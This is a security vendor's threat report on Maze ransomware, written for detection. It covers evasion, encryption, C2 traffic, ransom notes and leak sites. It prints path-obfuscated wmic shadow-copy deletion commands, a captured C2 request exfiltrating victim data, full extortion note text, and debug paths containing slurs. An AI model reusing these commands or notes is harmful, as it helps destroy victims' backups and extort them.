CYSIV
A FORESCOUT COMPANY

Threat Report:
Maze Ransomware

July 7, 2020

Table of Contents

Table of Figures

1 EXECUTIVE SUMMARY

Maze ransomware (or ChaCha) has been distributed broadly by the Maze threat actor group since 2019. Within less than a year, Maze and their ransomware have become a significant threat to organizations, especially bigger companies where the cyber attack surface is larger. Maze ransomware not only blocks access to data on victims' machines but also threatens to publish their sensitive data for ransom.

Since the first known ransomware attack occurred in 1989, Maze group has been one of the first to actively exfiltrate and publish the victims' sensitive data if the victims refuse or ignore the payment demand. As a result, sensitive data of many companies which were infected by Maze ransomware has been partially or fully published on the Maze group's website.

The group mainly targets Windows systems of larger companies as the potential for a larger ransom is greater. At the time of writing this report the number of victims affected by Maze ransomware was increasing rapidly each day. Maze group are hosting their announcements and victim lists as well as the data to prove they have successfully attacked the victims on their websites. Because of the variety of techniques Maze ransomware uses, and the growing number of Maze attacks, Cysiv has analyzed it in detail. We have obtained many different variants of Maze ransomware for analysis. This research will improve our ability to detect Maze ransomware.

Maze group has shown that they are a group with a variety set of skills from developing malware, through to customer support. They are also actively tracking analyses of their malware and they will add their messages in response to these analyses in the later samples to prove that they are closely watching the malware research community.

Maze ransomware uses different techniques to avoid detection and challenge malware researchers. Some of the techniques they use are custom packers, checking if a debugger is present, killing processes, and avoiding debugger attachments. In some cases, Maze ransomware is signed by a valid code signing certificate to prevent warning messages at start-up of the malware.

Maze ransomware deletes shadow copies on the victims' system to prevent data restoration. Interestingly, Maze ransomware tries to delete the shadow copies twice. Once before and once after encryption. This will guarantee that there is no backup copy left on the system. Infected systems are then left with ransom notes, which are in three main forms: ransom note files; desktop background, and; speech synthesis.

Maze ransomware contains kill switches that check for the computer's languages. If the language of the system belongs to the Commonwealth of Independent States (CIS) countries, Maze ransomware will not encrypt any data and exit. This is proof that the group will only target victims outside of the CIS countries.

Protection Provided by Cysiv:

Cysiv SOC-as-a-Service provides protection from a broad range of threats, including Maze ransomware:

- 24x7 monitoring provides organizations with real time alerts and quick isolation and remediation to contain a threat during the early stages of an attack to prevent a compromise, data loss or breach.
- Threat hunting helps to identify suspicious activity and ensure digital footprints against any intrusions.
- Anti-malware that can be deployed on endpoints, for users, as part of the Cysiv service will constantly monitor for abnormal activities and block any connection to suspicious URLs, IPs and domains.
- Anti-malware that can be deployed on servers and workloads, as part of the Cysiv service, use a variety of threat detection capabilities, notably behavioral analysis that protects against malicious scripts, injection, ransomware, memory and browser attacks related to fileless threats. Additionally, it will monitor events and quickly examines what processes or events are triggering malicious activity.
- Network security appliances that can be deployed and monitored as part of the Cysiv service will detect malicious attachments and URLs, and are able to identify suspicious communication over any port, and over 100 protocols. These appliances can also detect remote scripts even if they're not being downloaded in the physical endpoint.

2 ANALYSIS

2.1 Overview

Ransomware is a family of malware which blocks access to data on victims' machines and/or threatens to publish their sensitive data for ransom. Ransomware is not a new threat, and the first known ransomware attack occurred in 1989. The emergence of crypto currency in the past decade make ransomware a more attractive business to cyber criminals since the ransom transactions are anonymous.

Maze ransomware (or ChaCha) has been distributed broadly since 2019. The group behind Maze ransomware has made a big move relative to other groups: they actively exfiltrate and publish the victims' sensitive data if the victims refuse or ignore the payment demand. As a result, sensitive data of many companies, which were infected by Maze ransomware, has been partially or fully published on Maze group website. The group mainly targets Windows systems of larger companies because of the potential for larger ransoms.

2.2 The "Hidden" Messages

Cysiv has discovered some different variants of Maze ransomware since 2019. They can be distributed in the form of a portable executable (.exe) or a dynamic-link library (.dll). Most of the samples are packed or obfuscated. The group behind Maze ransomware also embeds its messages in each new sample it distributes. The targeted audiences of the messages are malware researchers, who will examine the samples.

Maze group is also actively tracking analyses of their malware and they will add their messages in response to the analyses in the later samples to proove that they are closely watching the malware research community. Some of their messages are embedded in the debugging path of their samples as shown in Figure 1.

Figure 1 - Debugging Paths

debugger-stamp	0x5E31CA24 (Wed Jan 29 14:08:36 2020)
path	c:\kill\yourself\@yongruitan\chinese\idiot.pdb
guid	D9A3CEB4-297D-40D1-90C9-A9292964DA6A

debugger-stamp	0x5E97942D (Wed Apr 15 20:09:33 2020)
path	c:\wuhan\lab\coronashit.pdb
guid	DE90BA7F-9118-48BA-B7B6-747C2FBE9F56

debugger-stamp	0x5EECFDD5 (Fri Jun 19 15:03:01 2020)
path	c:\youareracists\carderslivematter.pdb
guid	3128CAD6-8FCF-481B-AD60-47F617B0A21B

2.3 Code Signing Certificate

The main purpose of a code signing certificate is to help end-users to verify the authenticity of software. A signed application includes a signature, company name, and a timestamp if desired. A valid code signing certificate will prevent warning messages at installation or start-up of the program. This is a security feature that malware developers abuse to trick their victims. In most of the cases, malware authors use stolen certificates to sign their malware or even register for certificates for their uses.

Cysiv has found a Maze ransomware sample that was signed by a valid code-signing certificate. The sample was signed by "**GO ONLINE d.o.o.**" and is valid from 01:00 AM 03/10/2020 till 12:59 AM 03/11/2021. However, the certificate was revoked after it was reported. Interestingly, a couple of other malware samples which are signed by the same certificate from April to June 2020 were also discovered by the Cysiv threat research team.

2.4 Mutex

Mutual exclusion object (mutex) was invented for resource sharing between multiple threads and to prevent racing conditions. Mutex is used by malware to mark its execution and avoid infecting the system more than once. This technique is especially useful in the case of ransomware to prevent encrypting the data multiple times.

Maze ransomware creates the mutex named ***Global\<Unique Victim ID>*** where the unique victim ID is a hex string with the length of 16 bytes. This value is calculated based on the fingerprinting information of the system, such as username, computer name, Windows version, and system language. Figure 2 is a chunk of instructions Maze ransomware used to create the mutex.

Figure 2 - Maze Ransomware's Mutex

```
MOV EDI, EDI                              CreateMutexW
PUSH EBP
MOV EBP, ESP
XOR EAX, EAX
CMP DWORD PTR SS:[EBP + C], EAX
PUSH 1F0001
SETNE AL
PUSH EAX
PUSH DWORD PTR SS:[EBP + 10]              [ebp+10]:L"Global\\[redacted]"
PUSH DWORD PTR SS:[EBP + 8]
CALL <kernelbase.CreateMutexExW>
```

The unique victim ID remains unchanged across different runs as well as variants of Maze ransomware. However, as the name of the ID suggests, it is unique for each victim. These characteristics serve two main goals of Maze ransomware. The first goal is to avoid using a hardcoded mutex, which could be easily used to detect the malware. The second goal is to make sure that the ID remains unchanged on a system and to prevent encryption of the data multiple times. The Maze ransomware developers also use the same ID to identify their victims. This is a systematic approach to ensure that they can always identify a victim even in a newer version of their ransomware.

2.5 Persistence Mechanism

Malware authors often employ persistence mechanisms to be able to survive system restarts. However, Maze ransomware does not need to be relaunched across system restarts since it only needs to encrypt the data once. The only action it wants to repeat every time the system boots is opening the ransom note to demand for ransom.

In order to achieve this goal, Maze ransomware drops the ransom note in the Windows start up folder. The contents of the ransom note can be different between different runs. However, the file path to achieve ransom note persistence is unchanged. Two variants of the file path were discovered, as follows:

C:\Users\<User Name>\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\DECRYPT-FILES.txt

Or

C:\Users\<User Name>\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\DECRYPT-FILES.html

2.6 Kill Switches

It is not uncommon to see malware authors use kill switches in their malware, as they can be used to stop the execution and hide the malicious behaviour from analysis if the malware detects that it is running in a sandbox. In some cases, malware authors also use a kill switch as a safety mechanism, which will prevent the malware from infecting the malware authors' systems.

Maze ransomware contains kill switches that check for the computer's languages. If the language of the system belongs to the Commonwealth of Independent States (CIS) countries, Maze ransomware will not encrypt any data and exit. This is a proof that the group will only target victims outside of the CIS countries.

2.7 Deleting Shadow Copies

Volume Snapshot Service is a backup mechanism included in Windows. The service can create backup copies (also called shadow copies) of files or volumes on the system. Many inexperienced ransomware developers do not delete the backup copies after encrypting data. Therefore, the victims can easily reverse the system to the latest backup point without paying the ransom.

Maze ransomware does this job very well. Interestingly, it tries to delete the shadow copies twice. Once before and once after encryption. This will guarantee that there is no backup copy left on the system.

To delete the shadow copies, Maze ransomware use a Living off the Land (LotL) tool - **wmic.exe**. The utility is a software component of Microsoft Windows. The use of LotL tools could help avoid detection as the tool is trusted and the activity will be "hidden" among many other legitimate events.

Maze ransomware also uses an interesting technique to defeat static signatures. A new path to wmic.exe will be generated on the fly and will not be matched by the regular path to wmic.exe (i.e. ***C:\Windows\System32\wbem\wmic.exe***). This is done by adding random folder names in between, but then cancelling them by using "**\..**". Some examples have been included below to demonstrate how the paths are built:

```
"C:\lfl\e\sgxvf\..\..\..\Windows\fmv\gflsw\..\..\system32\haj\acck\..\..\wbem\p\huse\gx\..\..\..\wmic.exe" shadowcopy delete
"C:\krct\..\Windows\emiks\gedms\tciu\..\..\..\system32\ego\favsx\..\..\wbem\x\..\wmic.exe" shadowcopy delete
"C:\efojs\n\u\..\..\..\Windows\uo\kc\..\..\system32\etag\..\wbem\km\mq\..\..\wmic.exe" shadowcopy delete
"C:\cdfac\hxilw\igypw\..\..\..\Windows\bf\..\system32\lioq\..\wbem\tqwjs\prh\..\..\wmic.exe" shadowcopy delete
"C:\h\kcqcq\..\..\Windows\mlv\ho\..\..\system32\ctij\asv\nderx\..\..\..\wbem\ma\r\w\..\..\..\wmic.exe" shadowcopy delete
```

2.8 Encryption Mechanism

Maze ransomware employs both symmetric and asymmetric encryption, which includes ChaCha and RSA algorithms. The symmetric encryption algorithm (i.e. ChaCha) is used to encrypt the files and the asymmetric encryption algorithm (i.e. RSA) is used to encrypt the ChaCha keys.

The encryption process involves three levels of encryption keys. The lowest level includes all the ChaCha keys (randomly generated for each file). The second level is a pair of public and private RSA keys (randomly generated at runtime), where the public key is used to encrypt the ChaCha keys. The highest level is a pair of master public and private RSA keys generated and held by the Maze group, where the master public key is used to encrypt the second level private key and the master private key is kept secret by the group. With this design, the Maze group will only need to decrypt the second level private key by their master private key. The private master key remains undisclosed and can be reused across the victims. Therefore, the design reduces the costs to manage multiple master keys.

The names of the files encrypted by Maze ransomware will be appended by randomly generated extensions. Maze ransomware stores a signature and the information to decrypt in each encrypted file. The structure of the encrypted files is shown in Figure 3.

Figure 3 - Encrypted File Structure

Encrypted Data
Encrypted ChaCha Key
4-byte signature: 0x66 0x11 0x61 0x66

Interestingly, Maze ransomware also hides the encrypted 2nd level key in the extended attributes of a file it created in the folder **%ProgramData%**. The files name can be changed in different variants of Maze ransomware. For example, data1.tmp, memes.tmp, foo.db, or 0x29A.db. However, the content of the file remains unchanged and shown in Figure 4.

Figure 4 - Content of The Hidden Key File

261 NULL bytes (0x00)
4-byte signature: 0x66 0x11 0x61 0x66

2.9 Command and Control Traffic

Maze group maintains a victim database and can query information, including fingerprinting information and when the system was infected, for example. The information can be used to identify the victim as well as to determine if the expected ransom payment time is passed. If this happens, they will increase the ransom or publish the victim's data.

In order to keep track of all the new victims, Maze ransomware is programmed to send the victims' fingerprinting information to its command and control (C2) servers. This behaviour can be used to detect new Maze ransomware infections.

Maze ransomware exfiltrates victims' fingerprinting information through HTTP traffic (See Figure 5). The payload of the HTTP POST requests is encrypted, and the list of C2 server IP address are hardcoded in the samples, and includes: 91.218.114.4, 91.218.114.11, 91.218.114.25, 91.218.114.26, 91.218.114.31, 91.218.114.32, 91.218.114.37, 91.218.114.38, 91.218.114.77, and 91.218.114.79.

Figure 5 - Maze Ransomware C2 Traffic

```
POST /private/forum/swbbkc.action?mxbq=7b11j31t&e=00x3v5751&r=xeae76ce HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; AS; rv:11.0) like Gecko
Host: 91.218.114.31
Content-Type: application/x-www-form-urlencoded
Content-Length: 277
Connection: Keep-Alive

UrQ"../`H....;.7~...'z...v=pn.ov;yDW..."M@.+.|.e....{I.[."...k.:.,.].bF...F..!*bH. ..A.......n^....WM..d....s..!...
{.z...m.!........&.V.......5;.M^.tt.
........#a.......aem.v..u.........%D.me .^4D../&D...u.....E..$./..
9.H,".3u.c.........?k....b0h..e..oS:....b      ........Cp...T..
```

The POST requests are built from a pre-defined structure shown in the Figure 6.

Figure 6 - Maze Ransomware C2 Structure

POST */%s* **HTTP/1.1**
User-Agent: *Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; AS; rv:11.0) like Gecko*
Host: *%s*
Content-Type: *application/x-www-form-urlencoded*
Content-Length: *%d*
Connection: *Keep-Alive*

As stated in the previous sections, Maze ransomware tries to randomize the artifacts to avoid detection. The HTTP traffic is not an exception. Despite the hardcoded structure of the requests, the URLs are generated randomly from a set of words to make them look legitimate and to avoid using hardcoded URL paths. The URLs are generated from three main components: the path; the extension, and; the parameters. The list of keywords to form the path includes *news, login, register, logout, edit, content, private, messages, account, view, webauth, webaccess, archive, forum, post, signin, signout, update, support, ticket, task, tracker, analytics, check, checkout, payout, withdrawal, sepa, create, transfer, wire*. The list of extensions includes *.php, .asp, .aspx, .cgi, .jsp, .jspx, .action, .html, .phtml, .shtml*. Finally, the parameters and their values are generated randomly.

2.10 The Ransom Note

Ransom notes of Maze ransomware are in three main forms: ransom note files; desktop background, and; speech synthesis.

The ransom note file is one of the most common methods used by ransomware to deliver its ransom message. Two versions of ransom note files that are generated by Maze ransomware have been found. The older version is in HTML format, which includes email addresses (koreadec[at]tutanota[.]com and yourrealdecrypt[at]airmil[.]cc) to contact Maze group. The file name of the ransom note is DECRYPT-FILES.html. This version was phased out when Maze group rolled out their web interface to “support” their victims.

The latest version of the ransom note file is in a simpler format - plain text (TXT). Maze group has upgraded their ransom note in the latest variants to include the deadline to pay the ransom and remind the victim that they can only recover their data by buying the decryption key from them (See Figure 7).

The ransom note file also contains the links to a website, which includes instructions and support on how to pay the ransom and decrypt the files. The group allows the victims to decrypt up to 3 files before requiring ransom payment. The website is hosted at aoacugmutagkwctu[.]onion and mazedecrypt[.]top.

Figure 7 - Ransom Note in Plain Text Format

```
Attention!

---------------------------
| What happened?
---------------------------

We hacked your network and now all your files, documents, photos, databases, and other important data are safely encrypted with reliable algorithms.
You cannot access the files right now. But do not worry. You can get it back! It is easy to recover in a few steps.

We have also downloaded a lot of private data from your network, so in case of not contacting us as soon as possible this data will be released.
If you do not contact us in a 3 days we will post information about your breach on our public news website and after 7 days the whole downloaded info.

To see what happens to those who don't contact us, google:
* Southwire Maze Ransomware
* MDLab Maze Ransomware
* City of Pensacola Maze Ransomware
```

At the end of the ransom notes are the Maze keys, which include information about the infected computer, such as computer name, username, and operating system version, which is appended at the end of the Maze key before being base64-encoded.

After the encryption process is completed, Maze ransomware also changes the background of the machine to mark its existence. The image is generated from the structure shown in Figure 8.

Figure 8 - Background Text Structure

Maze Ransomware
Dear <*User Name*>, your files have been encrypted by RSA-2048 and ChaCha algorithms
The only way to restore them is to buy decryptor
These algorithms are one of the strongest
You can read about them at Wikipedia
If you understand the importance of situation you can restore all files by following instructions in DECRYPT-FILES.txt file
You can decrypt 3 files for free as a proof of work
We know that this computer is

very valuable for you / a workstation in corporate network / a standalone server /
a server in corporate network / a backup server / a primary domain controller

So we will give you appropriate price for recovering

The generated image will be dropped in the folder **%TEMP%** before being applied as the system wallpaper. Some variants of Maze ransomware name the file "**000.bmp**" and the others name it "**111.bmp**".

At the final stage of the infection, Maze ransomware will play a speech synthesis to catch the victims' attention if they have not noticed the changes in their system. This action is done by abusing the Speech Application Programming Interface (SAPI), which was developed by Microsoft. The contents of the speech synthesis are shown in Figure 9.

Figure 9 - Ransom Speech Synthesis

```
<User Name>! Alert! <User Name>! Alert! Dear <User Name> Your files have been encrypted by Maze ransomware! Attention!
You need to buy decryptor in order to restore the files.
```

2.11 Data Disclosure

As mentioned earlier, the Maze group actively exfiltrates and publishes their victims' sensitive data if the victims refuse or ignore the payment demand. They post their announcements and victim lists, as well as the data, as proof that they have successfully attacked the victims. Currently, they are hosting the website on three domains: mazenews[.]top**,** newsmaze[.]top, and xfr3txoorcyy7tikjgj5dk3rvo3vsrpyaxnclyohkbfp3h277ap4tiad[.]onion. The published list includes more than 70 victims at the time of writing this report, and new victims are added almost every day.

3 REFERENCES

The Maze ransomware samples analyzed in this report are listed below:

64ed4f6b315448d518ed003a1d0c7e56790ef50d

c5938ec75e5b655be84eb94d73adec0f63fbce16

1e994b5ac039a1c7612bab93248532bf3ed7e6de

5815f849de39537e54d080d6875dd886191afaf6

01c459b549c1c2a68208d38d4ba5e36d29212a4f

504ce8efee0f7f8329c09c6d045a21c795a84b42

76c101de8306c4081e810fdef2e22acd6642629a

Cysiv LLC
225 E. John Carpenter Freeway, Suite 1500, Irving, Texas, USA, 75062
www.cysiv.com sales@cysiv.com